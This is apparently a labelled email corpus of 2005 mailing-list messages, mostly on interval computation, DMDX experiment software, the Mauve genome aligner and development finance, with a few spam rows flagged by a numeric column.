g(y,t)=0 > > now ,i want to solve DAE with an interval initial condition or an interval parameter. > > but, I think the main difficulty is how to ensure abs(g(y,t)) is small enough , if not so ,the DAE\\'s structure will be destroied. > > I find the the amount of articles about this topic is very few , I will be grateful to any comments helpful. > As we know , some non-linear function will be sensitive to initial value. > > for example , y\\' =f(y,t) y0=[y0_min , y0_max] > the interval at the t_end will be very large so the result will be meaningless ,right?",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 20 Oct 2005 12:44:58 -0700",[DMDX] Re: DMDX not run,"At 05:20 PM 10/20/2005 +0100, you wrote: >Dear Sir, > >I have made a item file and it run well on destops. However, when copying the >file to my laptop and press run, on screen displayed a message: Not enough >video memory. Then I check Dsplay Properties/Advanced/Adapter, and see Memory >Size is 32 MB. I think the video memory may have no problems. Could you please >let me have any advices in my case. You will have to use a less intense video mode on the laptop. Use 16 bit color if you are using 32 bit. If that doesn't do it use 1024x768 instead of 1600x1200 for instance. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You probably wouldn't worry about what people think of you if you could know how seldom they do. - Olin Miller. ",0,0 Ray Moore ,"Andrzej Pownuk , reliable_computing@interval.louisiana.edu","Thu, 20 Oct 2005 15:08:52 -0400",Re: How to solve DAE with an interval initial condition or an interval parameter?,"How to solve DAE with an interval initial condition or an interval parameter?There are many papers and also software by Martin Berz and his colleagues dealing with such problems you can find at http://bt.pa.msu.edu/pub/ R Moore ----- Original Message ----- From: Andrzej Pownuk To: reliable_computing@interval.louisiana.edu Sent: Monday, October 17, 2005 3:00 PM Subject: RE: How to solve DAE with an interval initial condition or an interval parameter? If you have particular problem then you know more or less how the solution y=y(t,h) behave (h is an interval parameter, t is a time). Then you can calculate the derivative of the solution y with respect to the interval parameters [h] (i.e. dy/dh). That should be easy. You can calculate this for the mid point of the interval [h]=[h_inf,h_sup]. If width of the interval [h] (or interval vector) is sufficiently small and the sign of the derivative is constant then you can calculate the extreme values of the solution using the endpoints of the interval [h] (or interval vector). I know that this is very simply method but in most cases it is sufficient. If you need more accurate results then you can expand the derivative using Taylor series dy(h)/dh= dy(h0)/dh+ d^2y(h0)/dh^2*(h-h0)+. and after that check the sign of the derivative. Look at high order monotonicity tests here: http://andrzej.pownuk.com/~andrzej/publications/Pownuk%20A.,%20Numerical%20solutions%20of%20fuzzy%20partial%20differential%20equations%20and%20its%20applications%20in%20computational%20mechanics.pdf If the interval [h] is very wide then you can divide it into smaller parts and repeat above procedure. If the sign of the derivative is not constant then . you can divide the interval [h] into smaller parts and check monotonicity again. Well if the solution behave really bad then . . I do not know what to do :). Some information about the solution you can get after calculation of the solution for the endpoints of the interval [h] and some points in the middle of the interval [h]. However the results may be very inaccurate. Above described algorithms do not give you the results with guaranteed accuracy . however sometimes . in my case (civil mechanical engineering examples) these methods give you accurate results in 90% of cases (in my opinion). If one calculate the interval solution using above described methodology then the interval solution has always physical interpretation. There are lot of engineering papers in which the solution is calculated only for endpoints and sometimes that is enough in practice. http://andrzej.pownuk.com/IntervalEquations.htm http://andrzej.pownuk.com/fuzzyPDE.htm In some cases you can also get good results with guaranteed accuracy using interval methods (for example using constraint satisfaction approach or some kind of validated Taylor methods). However if the t is very large the results may be overestimated then we will get a lot of solutions which do not correspond to any parametric solution and because of that do not have any physical interpretation (in such cases it is almost meaningless). If the approximation of the interval solution is good then there are no such problems even if the interval solution belong to very large interval (i.e. even very wide interval solution may have very clear meaning and physical interpretation). Regards, Andrzej Pownuk http://andrzej.pownuk.com > My research field is Multibody Dynamics and the core of the simulation is to solve the differenial-algebraic equations. > such as , { y\\' =f(y,t) > { g(y,t)=0 > > now ,i want to solve DAE with an interval initial condition or an interval parameter. > > but, I think the main difficulty is how to ensure abs(g(y,t)) is small enough , if not so ,the DAE\\'s structure will be destroied. > > I find the the amount of articles about this topic is very few , I will be grateful to any comments helpful. > As we know , some non-linear function will be sensitive to initial value. > > for example , y\\' =f(y,t) y0=[y0_min , y0_max] > the interval at the t_end will be very large so the result will be meaningless ,right? ",0,1 Gabriel Dos Reis ,Herve Bronnimann ,"Thu, 20 Oct 2005 21:27:52 +0200",Re: C++ Standardization of intervals,"Herve Bronnimann writes: | On Thu, Oct 20, 2005 at 08:11:45AM +0200, Gabriel Dos Reis wrote: | > | I think Boost intervals might be incorporated into C++ Ox, | > | > I hope Herv? and Sylvain will post a report of the last C++ committee | > meeting to this list (I wasn't in the library room when it was | > discussed). | | Of course, Gaby is right. The fact that we presented a proposal to the | ISO C++ Committee and that the proposal wasn't outright rejected, does | not mean it is accepted. In any case, it is not targeted at C++0x, but | only at the Technical Report TR2 (if you don't understand these | subtleties, don't worry). There will be more revisions and presentations | to the committe before we know either way. | | What can be said for now, is that besides the technical issues (which | appear to be not too hard to resolve) the main obstacle seems to | establish a broad user base of customers. In a nutshell, C++ library | vendors want to know that their efforts will be rewarded (commercially | speaking), and this is their entire right. They are committed to | providing an implementation of the C++ standard, it is costly for them | (esp. the transcendental math functions on intervals), so they want to | see a potential return before they would approve. Thanks for the update, Hervé. Speaking of the return, I would think it is not just in terms of money -- of course, they want to make money :-) I guess, they want to have some assurance that the ratio cost/benefit worths it, and this is not just something for a very small and specialized community (it will have to be distributed with every C++ implementation) but actually makes a difference with respect to robust programs and libraries using hat technology. So, any evidence that the proposed library is very useful for a broader community -- for example with examples to applications using it -- will be very helpful. (That is the flip side of a volunteer project, people worry about the cost/benefit). -- Gaby",0,0 """R. Baker Kearfott"" ","Gabriel Dos Reis , Herve Bronnimann ","Thu, 20 Oct 2005 16:11:01 -0500",Re: C++ Standardization of intervals,"reliable_computing subscribers et al, We encountered these issues when proposing an interval data type for Fortran. Actually, it was always somewhat controversial in the committee, but for some time a majority of J3 (the Fortran standardization committee) supported an interval data type in Fortran. That is, we had convinced a majority of the committee that the benefits would go beyond a small and specialized community, and we had worked on the standard for over a year, producing various documents. I strongly believe that we can make that argument even more strongly (and truthfully) now than when intervals were in front of J3. What finally killed the interval data type in J3 was a lack of consensus ON OUR PART concerning certain technical issues. Thus, let's not minimize the technical issues; this lack of consensus changed the vote in J3. However, I believe that we now understand the technical issues better than when Fortran was in front of J3. Sincerely, Baker P.S. I see a chance that use of intervals will outlast Fortran (although I don't think Fortran 95 is a bad language per se' for scientific programming). At 09:27 PM 10/20/2005 +0200, Gabriel Dos Reis wrote: >Herve Bronnimann writes: > >| On Thu, Oct 20, 2005 at 08:11:45AM +0200, Gabriel Dos Reis wrote: . . . >| What can be said for now, is that besides the technical issues (which >| appear to be not too hard to resolve) the main obstacle seems to >| establish a broad user base of customers. In a nutshell, C++ library >| vendors want to know that their efforts will be rewarded (commercially >| speaking), and this is their entire right. They are committed to >| providing an implementation of the C++ standard, it is costly for them >| (esp. the transcendental math functions on intervals), so they want to >| see a potential return before they would approve. > >Thanks for the update, Hervé. > > Speaking of the return, I would think it is not just in terms of >money -- of course, they want to make money :-) I guess, they want to >have some assurance that the ratio cost/benefit worths it, and this is >not just something for a very small and specialized community (it will >have to be distributed with every C++ implementation) but >actually makes a difference with respect to robust programs and libraries >using hat technology. So, any evidence that the proposed library is >very useful for a broader community -- for example with examples to >applications using it -- will be very helpful. > >(That is the flip side of a volunteer project, people worry about the >cost/benefit). > >-- Gaby > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA ---------------------------------------------------------------",0,1 sopheetsa@aol.com,gel-software@svm.vetmed.wisc.edu,"Thu, 20 Oct 2005 20:51:22 -0400",Re: Mauve 1.2.3 released,"mazel tov Aaron. just managed to fire up Mauve for the first time (on my computer) since you loaded it on-- w Oliver by my side having it on his (work Mac computer) and-- it even worked & told me there was a newer version available. how did it know that????????? Sophia Yancopoulos Institute for Medical Research NS-LIJ 350 Community Dr. Manhasset, NY 11030 USA phone: (516) 562-9437 cell: (917) 273-5712 fax: (309) 273-7033 email: sopheetsa@aol.com -----Original Message----- From: Aaron Darling To: GEL software mailing list Sent: Thu, 20 Oct 2005 18:56:50 -0500 Subject: Mauve 1.2.3 released After a long hiatus we are happy to announce the release of Mauve version 1.2.3 (code name CandyLand). As usual, the new release has many enhancements and bug fixes over previous releases. Many enhancements are the direct result of user suggestions and feedback. Most notably, Mauve now displays multi-part genes and annotated repeat regions. Also, the LCB display mode (used when 'Full Alignment' is disabled) has been fixed. By disabling the 'Full Alignment' option when computing an alignment, it is possible to quickly get a picture of genomic rearrangement structure and to determine the appropriate LCB weight for a subsequent Full Alignment. Thank you all for your support, feedback, and bug reports. The full ChangeLog entry follows... -Aaron ------------ Version 1.2.3 (2005-10-20) New features: - Display each component of multi-part features (e.g. a multiple exon gene) as a linked series of boxes - Display repeat_region annotations from GenBank files - Improved load time for previously viewed alignments using a disk-based alignment cache - Added a help menu item that will clear the on-disk alignment cache - Colorized the similarity plots, grey was starting to depress our entire lab. - Support for highlighting arbitrary regions of the sequence by holding the shift key while clicking and dragging on the display - Faster nucleotide display when zoomed in closely Bug fixes: - Fixed GUI interface for setting the minimum seed size (Thanks to Bill Bruno and Todd Treangen) - Fixed mouseover, highlighting, and display alignment in the LCB display mode (used when the 'Full Alignment' option is disabled) ############################################################# This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to To switch to the INDEX mode, E-mail to Send administrative queries to",0,0 Nathalie Bélanger ,DMDX@psy1.psych.arizona.edu,"Fri, 21 Oct 2005 10:57:05 -0400",[DMDX] Feedback only for the practice items,"Hello, I am setting up a masked priming experiment. After the command lines I have 18 practice items, a pause, and then the task begins. I would like my participants to get feedback only for the practice items so they can learn how to regulate their speed and accuracy before the task. Can I do that? How? Thank you, Nathalie Bélanger -- Nathalie Bélanger Ph.D. Student School of Communication Sciences and Disorders McGill University 1266 Avenue des Pins ouest Montréal, Québec Canada H3G 1A8 Tel.: (514) 398-6895 ",0,0 """Richard P. Novick, MD"" ",GEL software mailing list ,"Fri, 21 Oct 2005 09:30:43 -0400",Re: Mauve 1.2.3 released,"Dear Aaron Darling, the Mauve program is a tour de force - fantastic resource. Thanks for the update. I was wondering whether there is any way to edit the input information - For example, I have been working with the S. aureus genomes, which contain many copies of a ~60 nt repeat sequence known as STAR, and I would dearly love to have MAUVE display these as elements in the alignments. Is there any way to do this? Thanks, Richard Novick > Thanks Grant, > > The Mauve web site is: > > http://gel.ahabs.wisc.edu/mauve > > -Aaron > > > Grant Jacobs wrote: > > > > > Could I suggest including an URL to the website? Saves lazy people > > like me from doing a web search...! ;-) (A search of ""mauve"" on the > > CS dept. website didn't locate anything, so its back to google...!) > > > > Grant > > > >> After a long hiatus we are happy to announce the release of Mauve > >> version 1.2.3 (code name CandyLand). As usual, the new release has > >> many enhancements and bug fixes over previous releases. Many > >> enhancements are the direct result of user suggestions and feedback. > >> Most notably, Mauve now displays multi-part genes and annotated > >> repeat regions. Also, the LCB display mode (used when 'Full > >> Alignment' is disabled) has been fixed. By disabling the 'Full > >> Alignment' option when computing an alignment, it is possible to > >> quickly get a picture of genomic rearrangement structure and to > >> determine the appropriate LCB weight for a subsequent Full Alignment. > >> > >> Thank you all for your support, feedback, and bug reports. > >> The full ChangeLog entry follows... > >> > >> -Aaron > >> > >> > >> > >> ------------ > >> > >> Version 1.2.3 (2005-10-20) > >> > >> New features: > >> > >> - Display each component of multi-part features (e.g. a multiple > >> exon gene) as a linked series of boxes > >> > >> - Display repeat_region annotations from GenBank files > >> > >> - Improved load time for previously viewed alignments using a > >> disk-based alignment cache > >> > >> - Added a help menu item that will clear the on-disk alignment cache > >> > >> - Colorized the similarity plots, grey was starting to depress our > >> entire lab. > >> > >> - Support for highlighting arbitrary regions of the sequence by > >> holding the shift key while clicking and dragging on the display > >> > >> - Faster nucleotide display when zoomed in closely > >> > >> Bug fixes: > >> > >> - Fixed GUI interface for setting the minimum seed size (Thanks to > >> Bill Bruno and Todd Treangen) > >> > >> - Fixed mouseover, highlighting, and display alignment in the LCB > >> display mode (used when the 'Full Alignment' option is disabled) > >> > > > > ############################################################# > This message is sent to you because you are subscribed to > the mailing list . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to > > To switch to the INDEX mode, E-mail to > > Send administrative queries to > -- Richard P. Novick, MD Professor of Medicine and Microbiology Program in Molecular Pathogenesis Skirball Institute New York University Medical Center 540 First Avenue New York, NY, 10016 ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program.",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 21 Oct 2005 10:51:21 -0700",[DMDX] Re: Feedback only for the practice items,"At 10:57 AM 10/21/2005 -0400, you wrote: >Hello, > >I am setting up a masked priming experiment. After the command lines I >have 18 practice items, a pause, and then the task begins. I would like my >participants to get feedback only for the practice items so they can learn >how to regulate their speed and accuracy before the task. Can I do that? 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De Lotto.nl NOTICE: You have received this message from De Lotto.nl prize dept. at your winning e-mail address because you have visited on of our sponsored sites and have voluntarily given your email address to receive mails from their sponsors.If you wish to be taken out of this list do not reply to this mail, reply to the agent with the words remove. If you are not the intended recipient, you must not, directly or indirectly, use, disclose, distribute, print or copy any part of this message. If you believe you have received this message in error, please delete it and all copies of it from your system and notify the sender immediately by reply e-mail. ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 22 Oct 2005 15:51:34 -0700",[DMDX] Re: Counters question,"At 02:31 PM 10/22/2005 -0400, you wrote: >Is it ok to label a macro variable and a counter variable the same name >(i.e. macro:""~1"" and counter:""c1""), or will that lead to problems in a program? The only time having a macro named 1 would screw things up was if you used the correct response short hand for that's also a tilde (slight brain fade on my part there, sorry). It would never screw up counter code except in a tangential fashion. So you could wind up with: ~1 ; The macro expansion code will expand ~1 and the code won't be what you intended. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The bug stops here.",0,0 """Lacoste, J Paul"" ",Development Finance ,"Sat, 22 Oct 2005 14:00:15 -0700",Out of Office AutoReply: devfinance Digest #947,"Estaré fuera de mi oficina hasta el 31 de octubre 2005. Si necesita atención inmediata, favor contactar a Carmen Pinochet (562) 232-5454, o c.pinochet@fordfound.org ¡Gracias! I will be out of my office until October 31, 2005. If you need immediate assistance, please contact Carmen Pinochet (562) 232-5454, or c.pinochet@fordfound.org Thanks! ",0,0 USA ,reliable_computing-outgoing@interval.louisiana.edu,"Sat, 22 Oct 2005 12:04:13 -0500",��ǰ�ð� ��Ư�� ���� / ���������,[��������] hr y oohqblk tion p tt,1,1 Tim Ireland ,cs496a@cs.umass.edu,"Sun, 23 Oct 2005 15:51:22 -0400",[cs496a] Wireless link calculations,"Here are the calculations that I came up with for the Link Quality from Sugarloaf to Orchard Hill. Note that there are 2 calculations for each dish, one is a link budget calculation that I got from wikipedia and the other is the Friis Equation that Brian mentioned. They come pretty close but you have to take into account that in the link budget equation there is a variable called Miscellaneous loss (ML) which I set at 30dB which is a ""Rule of Thumb"" and basically a worst case measurement. The Misc. Losses could be more like 10-15dB or less in actuality, which would make both of the equations come out to about the same. Also, I looked around for the receive sensitivity of the Orinoco cards, but I could not find it anywhere. From what I read, they have the best sensitivity of the cards on the market and I saw that for older cards at 11mbps the receive sensitivity was around -82dBm. See http://freenetworks.org/moin/index.cgi/ReceiveSensitivity Summary of calculations: (relative to 2 equations used) for the Parabolic to Parabolic: -66dB / -54 dB for Yagi to Parabolic: -56dB/ -44dB I am confused why the equations would end up giving the less powerful antenna a higher loss measurement. Maybe someone can shed some light on that issue. But either way, it appears that we will be able to connect just fine. -Tim Timothy M. Ireland 413-374-9400 www.deadhex.net/~tim gpg --keyserver pgp.mit.edu --recv-keys C4EAAFAC ",0,1 Dale W Adams ,devfinance@ag.ohio-state.edu,"Sun, 23 Oct 2005 17:38:27 -0600",World Bank and Agriculture,"The President of the World Bank recently announced that the Bank was going to stress agricultural projects. I assume this especially applies to Africa, given the Bank's earlier pronouncements. I applaud this announcement, but have several reservations. -Does the World Bank have any significant number of employees with agricultural science degrees and/or experience in developing successful agricultural projects, especially in Africa? Thirty years ago there were quite a few aggies in the Bank but most of them have died or retired. Are there many young staff who know the difference between a steer and a bull, acidic and basic soils, or triticum and hordeum vulgare? -The Bank can point to few successful agricultural development projects in Africa the past several decades. I suspect the success list of the African Development Bank projects in agriculture is even shorter. Where does the Bank start again without staff or successful experiences? (See George Ayittey's book <> for yards and yards of bad experiences in Africa.) Most countries in Africa are worse off now than they were before donors started to help them 40 years ago. -Until the Bank mostly bailed out of agriculture in the late 1980s, a large lump of its ""assistance"" to agriculture was in the form of agricultural credit. I doubt if any knowledgeable person would claim this ""assistance"" helped many financial systems, farmers, or the rural poor. I don't know of a single Bank funded agricultural credit project in Africa that I'd call a success. Is the Bank going to be creative enough to do agriculture without again pulling up to the central banks or development banks with truck loads of agricultural credit that later flows into Swiss banks? It will be interesting to see what, if anything, the Bank can make out of all this......jane",0,0 Tracy Gerstle ,Development Finance ,"Sun, 23 Oct 2005 20:11:30 -0700",Economic Recovery Position at the IRC,"A colleague at the IRC asked if I might post this to some networks in economic development. Please circulate as you see fit. The IRC is a great organization, and I am always impressed by the caliber of their staff when I have collaborated with them in the past. The position is a result of a recent reorganization within the IRC—its my understanding that they increasing recognize the need to lay the basis for economic development as quickly as possible in the relief and rehabilitation environments in which they work. I think it’s a lesson that has hit home recently in regards to Aceh and some other environments in which many of us are now working. Contact information at the IRC with questions for the announcement is included below. Regards, Tracy Gerstle Microenterprise and Economic Development Mercy Corps 1730 Rhode Island Avenue, Suite 809 Washington, DC 20036 (202) 463-7383 Job Title: Head of Economic Recovery Department: EUR - United Kingdom Requisition Number: 0000001196 Location: United Kingdom Job Description: BACKGROUND: The International Rescue Committee (IRC) is one of the largest humanitarian agencies in the world providing relief, rehabilitation and post-conflict reconstruction support to victims of oppression and violent conflict. IRC has worked for over seven decades and today is involved in over 25 conflict zones in the world. We address both the immediate, life saving needs of conflict affected people in an emergency and the reconstruction needs in post conflict societies, focusing on strengthening institutions and promoting social cohesion. IRC is committed to a culture of bold leadership, innovation in all aspects of our work, creative partnerships and thorough accountability to those we serve. The IRC is an international agency with offices in London, New York, and Geneva. The London and New York offices provide technical support to field programs. SCOPE OF WORK: The Head of Economic Recovery is responsible for providing dynamic, robust, innovative leadership and vision for all the IRC’s Economic Recovery programming. The IRC is a multi-sectoral agency with programs in the social, Economic Recovery and governance and rights sectors. IRC intends to strengthen and broaden its efforts in the Economic Recovery sector and is recruiting a strategic minded leader to head this effort. Specifically, IRC intends to strengthen and increase its Economic Recovery programming in the areas of livelihood generation, agriculture, business development services and vocational education. The Head of Economic Recovery is based in London and must be ready to travel up to 35% of the time. The position reports to the Deputy Vice-President of Programs in New York, and works closely with the Director of the London office. ESSENTIAL JOB FUNCTIONS: I. MANAGEMENT AND PLANNING · Responsible for all strategic planning efforts of IRC’s Economic Recovery programming; · Manage the Economic Recovery technical assistance team; · Develop and manage the Economic Recovery team’s annual budget; · Identify means to further increase funding for Economic Recovery programming; · Support effective recruitment of field staff. II. POLICY, GUIDELINES AND TECHNICAL SUPPORT · Develop standardized models for IRC’s Economic Recovery programs, including monitoring and evaluation tools; · Ensure IRC's Program Framework is incorporated into all IRC’s governance programs including its programming principles of 1) protection and promotion of rights, 2) participation, 3) capacity-building, 4) partnership and 5) holistic programming; · Provide technical assistance to IRC’s Economic Recovery programs in the field including, program design, proposal development, monitoring and evaluation efforts, fundraising, and recruitment; · Participate in relevant inter-agency networks and working groups, and collaborate with UN, donors, academic institutions and others in elaborating policies on Economic Recovery programs. III. COORDINATION · Ensure coordination with other sectoral support technical teams London and New York and promote cross-sectoral collaboration (IRC technical teams include: children, Economic Recovery, emergency, health, children, Economic Recovery, post conflict development, and protection); · Maintain regular contact with regional directors to ensure effective response to their regions needs. · Participate in relevant inter-agency networks and working groups, and collaborate with UN, academic institutions and others in elaborating policies on Economic Recovery programs. · Liaise extensively with donors (DFID, the European Union and Development Cooperation of Ireland and USAID) in the field and at HQ, to further IRC’s fundraising and advocacy efforts on areas of mutual concern and interest. REQUIREMENTS: · Graduate Degree in related field; · Min. 10 years progressive work experience with Economic Recovery programs; · Min. 5 years overseas in conflict settings and specific experience in livelihood generation, vocational education and business development services is preferred; · Successful experience in policy-development, staff training, and M&E; · Demonstrated familiarity and collaboration with DFID, the EU and USAID; · Successful experience in advocating and negotiating with donors, including UN, government, foundation and private donors; · Excellent writing skills; successful experience in proposal development and drafting; · Strong team-building and people management skills: the ability to lead staff and promote productivity in a pleasant work environment; · Previous financial management experience: the ability to effectively manage program budgets and financial matters; · Flexible work attitude: the ability to travel to challenging environments and work under difficult circumstances; · Language skills: fluency in French preferred; · Good Computer skills: facility with MS Word, Excel, and email/internet software. To apply submit resume and salary requirements on-line or via email to: Inge Ceunen, Domestic Human Resources Director Online: www.the IRC.org - E-mail: DomesticHR@theIRC.org IRC considers all applicants on the basis of merit without regard to race, sex, color, national origin, religion, sexual orientation, age, marital status, veteran status or disability. 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I probably forgot a silly little detail but can't figure out which one. Any ideas? Thanks in advance. Nathalie EXAMPLE .ism file ************************************ C:\\Documents and Settings\\Thalie\\Mes documents\\Doctorat\\Pilot studies\\Pilot 36subj\\item file all items 36.rtf Masked Priming TEST FILE SUBJECT %ERRORS MEAN S.D. SD/MEAN 2.0-SD MISSING CUTOFF DISPLAY O+P+ : O+P- : O+P- : Display Parameters: Total observations 0, total modified 0, 0.0% Subject Rejection rate 20%, 0 rejected Duplicated item numbers: 505 NUMBER OF SUBJECTS = 0 --------------------------------------------------------------------------- CONDITION O+P+ RT ERR ITEM --------------------------------------------------------------------------- **** 0.0 +101 ""#######"" / ""fain"" / * ""FAIM"" /; **** 0.0 +102 ""#######"" / ""lens"" / * ""LENT"" /; **** 0.0 +103 ""#######"" / ""bore"" / * ""BORD"" /; **** 0.0 +104 ""#######"" / ""peir"" / * ""PAIR"" /; **** 0.0 +105 ""#######"" / ""bhau"" / * ""BEAU"" /; -- Nathalie Bélanger Ph.D. Student School of Communication Sciences and Disorders McGill University 1266 Avenue des Pins ouest Montréal, Québec Canada H3G 1A8 Tel.: (514) 398-6895",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 24 Oct 2005 14:54:27 -0700",[DMDX] Re: ANALYZE...I am missing a step,"At 03:49 PM 10/24/2005 -0400, you wrote: >Hi, > >I guess this is a basic question. I have read Nan Jiang's instructions on data >analysis, but it is not working for me. I get .ism and .das files that have >not RT's or %error information (see example below). The file also says that I >have 0 subjects. It's like the program does not have access to the data I >collected somehow! > In the program ANALYZE I entered my item file (.rtf) in the first line > and then >the .spc file in the second line as requested. I have made sure that the .azk >file, the item file, the .spc file and the application Analyze were all in the >same folder. > >I probably forgot a silly little detail but can't figure out which one. Any >ideas? Thanks in advance. Perhaps your .SPC file doesn't define any conditions? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everyone is born a king, and most people die in exile. ",0,0 UO Distinctions ,,"Mon, 24 Oct 2005 16:29:19 -0700",Professional Distinctions Program,"To: Eligible Sophomores, Juniors and Seniors From: Professor Bruce Blonigen, Director of the Professional Distinctions Program Subject: Professional Distinctions Program We would like to draw your attention to an exciting program at the U of O - Professional Distinctions. Because you have achieved at least a 3.0 GPA and have completed more for than 60 credits, you qualify for this innovative program that will give you an advantage in the job market and add breadth to your education. The UO Professional Distinctions Program leads you through experiences that, simply put, prepare you for your professional life after college while enhancing your current studies. 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To make changes, please go to http://www.playerguest.com. ",0,1 PlayerGuest ,vmayer@gladstone.uoregon.edu,"Tue, 25 Oct 2005 00:00:04 -0400",Ticket Lockout,"TO: Valerie Mayer This is a reminder that you have until 10/27/2005 9:00:00 AM to submit or make changes to your guest list for the game against Washington State. To make changes, please go to http://www.playerguest.com. ",0,1 Hans Schneider ,"NETS -- at-net , E-LETTER , Pradeep Misra , Shaun Fallat , ""na.digest"" , ipnet-digest@math.msu.edu, Michael.Unser@epfl.ch, SIAGLA-DIGEST , hjt@eos.ncsu.edu, SMBnet@smb.org, vkm@eedsp.gatech.edu, reliable_computing@interval.louisiana.edu","Sat, 22 Oct 2005 20:48:35 -0500",LAA contents,"* Linear Algebra and its Applications Volume 410, Pages 1-290 (15 November 2005) Tenth Special Issue (Part 2) on Linear Algebra and Statistics Edited by Simo Puntanen, George P.H. Styan and Hans Joachim Werner http://www.sciencedirect.com/science/issue/5653-2005-995899999-608799 ================================================================================ TABLE OF CONTENTS 1) Lists of Editors Pages ii-iii 2) Preface Pages 1-2 Simo Puntanen, George P.H. Styan and Hans Joachim Werner 3) Some comments on the life and publications of Jerzy K. Baksalary (1944ÿÿ2005) Pages 3-53 Oskar Maria Baksalary and George P.H. Styan 4) On some of Jerzy Baksalaryÿÿs contributions to the theory of block designs Pages 54-63 Tadeusz Caliÿÿski 5) An invariance property related to the reverse order law Pages 64-69 6) Properties of the matrix A ÿÿ XY * Pages 70-86 Ton Steerneman and Frederieke van Perlo-ten Kleij 7) Multivariate data, the arithmetic mean and exchangeability of transformations Pages 87-95 Eckehard Frauendorf, Heinz Neudecker and Götz Trenkler 8) Normalisers and centralisers of compact matrix groups. An elementary approach Pages 96-111 Wilfried Hazod 9) Matrix algebra for higher order moments Pages 112-134 Erik Meijer 10) Lower bounds for the numerical radius Pages 135-142 Jorma Kaarlo Merikoski and Ravinder Kumar 11) A multivariate version of Samuelsonÿÿs inequality Pages 143-149 Götz Trenkler and Simo Puntanen 12) Characterizations and linear combinations of k -generalized projectors Pages 150-159 Julio Benítez and Néstor Thome 13) Kantorovich-type inequalities for operators via D -optimal design theory Pages 160-169 Luc Pronzato, Henry P. Wynn and Anatoly Zhigljavsky 14) Multivariate regression with consecutively added dependent variables Pages 170-197 V.M. Raats, B.B. van der Genugten and J.J.A. Moors 15) Some complex matrix-variate statistical distributions on rectangular matrices Pages 198-216 A.M. Mathai and Serge B. Provost 16) Stationary distributions and mean first passage times of perturbed Markov chains Pages 217-243 Jeffrey J. Hunter 17) On generalized quadratic matrices Pages 244-253 Richard W. Farebrother and Götz Trenkler 18) Three isomorphic vector spacesÿÿII Pages 254-266 K. Balasubramanian and M.I. Beg 19) On the Wedderburn-Guttman theorem Pages 267-278 Yoshio Takane and Haruo Yanai 20) Matrix equations with restraints and their statistical applications Pages 279-287 Czeslaw Stenpiak 21) Author index Pages 288-289 ",0,1 Lauren Brownrigg ,duckvoice@lists.uoregon.edu,"Tue, 25 Oct 2005 09:35:58 -0700",duckvoice: Career Center Career Fairs,"Fall Career Fair 2005 Thursday, November 10 2:00pm - 7:00pm EMU Ballroom Registration may be closed if you are still interested or have questions regarding Career Fairs, contact Mei Yong at (541)346-6016 or email myong@uoregon.edu Winter Career Fair February 23, 2006 You can register for this career fair by going to the Career Center website http://uocareer.uoregon.edu",0,1 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Tue, 25 Oct 2005 11:34:49 -0500",[CS382M:25] Announcements,"CS382m-ers, I wanted to reiterate some announcements from yesterday's lecture: 1) My office hours for Wednesday Oct. 26 are canceled. If there is desire, I can schedule some office hours late in the week; send me email if you are interested. 2) HW #4 will go out Wednesday 10/26 - it will be somewhat short and will cover main memory and virtual memory 3) We will discuss the project next Monday 10/31 4) Prof. Bill Mark will be guest-lecturing on graphics architectures on Wednesday 10/26. Please read his handout before the lecture which I made available in class on 10/19 and 10/24. Cheers, SK Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Tue, 25 Oct 2005 11:41:13 -0600",Interval session request,"Dear Friends, Practially every year, there is a special session at the annual NAFIPS meeting devoted to the relation between intervals and fuzzy, it will be great to have one in 2006 as well. If you are interested in participation, please send me your name email and if possible approximate title. The deadline is in January but the earlier we send in the preliminary proposal the better. NAFIPS is IEEE-sponsored, so publications appear in IEEE electronic database to which many of us have easy access thorugh their universities or via individual IEEE membership. NAFIPS is a reasonably small conference, usually having plenty of time for discussions both during the talks and outside the talks, it is always very inspiring. Vladik ************************************************************************ ******** http://fuzzy.mie.concordia.ca/nafips06.html Annual Conference of the North American Fuzzy Information Processing Society NAFIPS'06 Call for Papers Montreal June 3-6, 2006 Call for Papers Concordia University Montreal, Quebec, Canada Honorary Chair: Lotfi A. Zadeh General Chair: Kudret Demirli Program Chair: Can Isik Publicity Chair: Valerie Cross Special Sessions Chair: Thomas Sudkamp Finance Chair: Ali Akgunduz Organizations Chair: Wen-Fang Xie VENUE You are cordially invited to participate in NAFIPS'06, to be held at Concordia University in Montreal. Montreal is a vibrant multi-cultural metropolis boasting a unique blend of European and North American influences, with plenty of opportunities to dine and shop. AIMS AND SCOPE NAFIPS'06 aims to bring together researchers, engineers and practitioners to present the latest achievements and innovations in the area of fuzzy information processing, to discuss thought-provoking developments and challenges, to consider potential future directions. Topics of interest include, but are not limited to: Fuzzy sets methodology /Algorithms/Mathematics Bioinformatics / human-centric computing Neuro-fuzzy systems / Hybrid architectures Web intelligence / semantic webs Computational Intelligence/ Uncertainty management Computer vision / Pattern Recognition/Image processing Software Engineering / Intelligent Agents Control / Robotics / Adaptive systems / Learning Intelligent data analysis / Data Mining / Databases Applications / Computational experiments 